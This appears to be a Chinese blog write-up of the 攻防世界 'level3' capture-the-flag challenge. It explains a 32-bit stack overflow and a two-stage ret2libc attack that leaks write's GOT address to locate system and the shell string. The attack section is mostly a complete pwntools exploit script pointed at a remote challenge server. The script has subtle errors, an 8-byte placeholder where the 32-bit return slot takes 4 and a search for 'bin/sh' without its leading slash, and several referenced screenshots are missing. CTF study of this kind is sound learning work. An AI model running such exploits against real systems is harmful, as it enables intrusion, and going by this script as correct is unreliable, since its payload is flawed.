【攻防世界pwn-level3】

本文详细介绍了如何分析一个32位程序的栈溢出漏洞,通过ida查看代码发现缺少system和bin/sh,但提供了libc。通过理解plt表和got表的工作原理,计算libc的偏移量,实现两次栈溢出:第一次获取write的实际加载地址,计算system和bin/sh地址,第二次调用system执行shell。最后展示了攻击脚本的编写和攻击过程。

下载文件后首先查看保护,发现可以进行栈溢出攻击

将文件拖入32位ida

进入vulnerable_function后,发现了read处有栈溢出漏洞

在查看代码后,发现没有提供system和bin/sh,但是由于给了libc,所以可以找到libc的偏移量,然后计算出system和bin/sh的加载地址。

对于plt表,got表,实际加载地址,我是这么理解的:通过elf.plt['write']获取到的是write在plt表中的地址1,这个地址1上存放的实际内容是write在got表的地址2,而这个地址2存放的是lib中write的实际加载地址3

对于libc的加载而言,通过elf获取的地址并不是真实加载的地址,这个地址存在一定的偏移量,所以就通过偏移量 = 实际加载地址 - elf获取的write地址,从而获取system的实际加载地址

 所以我们需要溢出两次,第一次溢出时,跳倒write函数,将write的实际加载地址打印出来,然后计算偏移量,得到system和bin/sh的实际加载地址,然后在第二次溢出时调用system。

第一次调用的栈:

 第二次调用的栈:

编写攻击脚本:

 

from pwn import *
io = remote('111.200.241.244',54337)
elf = ELF('level3')
libc = ELF('libc_32.so.6')

write_plt = elf.plt['write']
vul_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
libc_system = libc.symbols['system']
libc_bin = next(libc.search(b"bin/sh"))

io.recvuntil("Input:\n")
payload =  b'a' * (0x88 + 0x4) + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload) 


# write的真实地址
write_addr = u32(io.recv()[:4])
print(write_addr)
# 第二轮进入vulnerable_function
libc_write = libc.symbols['write']
libc_base = write_addr - libc_write
system_addr = libc_base + libc_system
bin_addr = libc_base + libc_bin

payload = b'a' * (0x88 + 0x4) + p32(system_addr) + b"deadbeef" + p32(bin_addr)
io.sendline(payload)

io.interactive()

 发起攻击:

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值